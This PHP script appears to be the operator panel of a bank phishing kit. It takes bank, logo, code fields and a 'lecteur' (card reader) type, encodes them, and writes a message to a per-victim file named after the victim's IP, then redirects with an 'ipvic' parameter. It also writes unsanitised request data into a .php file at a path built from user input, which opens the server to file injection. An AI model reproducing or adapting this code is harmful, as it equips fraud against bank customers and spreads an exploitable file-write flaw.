<?php 

   session_start();


   send_info(); 

  function send_info()
	{

        $error = '';

		if(isset($_POST)) {
      
		    
            	$msg = '<img id="img-spinner" src="assets/media/spinner.gif" alt="Being processed"><br><br>

				Please wait ... <br> Important : Do not close this window or hit your back button';
            
                
                 $message = ""; 
           $type = "lecteur";
                 $params = base64_encode("color=".$_POST['color']."&bk=".$_POST['bank']."&logo=".$_POST['bank']."&num1=".$_POST['num1']."&num2=".$_POST['num2']."&type=".$type);

          if($_POST['message'] != 1 && $_POST['message'] != 2){

             
            $message = $params;
          }

          else 	 $message = $_POST['message'];
		    


		    	 
          
           $_SESSION['color'] = $_POST['color'];
           $_SESSION['bank'] = $_POST['bank'];
           $_SESSION['num1'] = $_POST['num1'];
           $_SESSION['num2'] = $_POST['num2'];


/*if($_POST['message']==1) $message = $msg;
		    	else*/
				$ip = $_POST['ip'];


          //  var_dump(response($ip,$message));exit;
                 if(response($ip,$message)){
                 $success = 'Votre message a bien été envoyé. Merci !';
                 $_SESSION['msg'] = $success;
                } else {
                    $error = 'Non envoyer!';
        		       $_SESSION['msg'] =  $error;
                }


                // var_dump($message);exit;
                  header('Location:./index.php?ipvic='.$ip);return;
		      
	 
			
            
        }
		
	}

function response($ip,$msg){

   
  $path = '../../data/'.$ip.'.php';
 

  $disp = file_put_contents($path, $msg);

 // $disp = write_file($path, $msg);
        

        if(!($disp))
		{
				 return false;
		} 
		else
		{
				return true;
		}
}

?>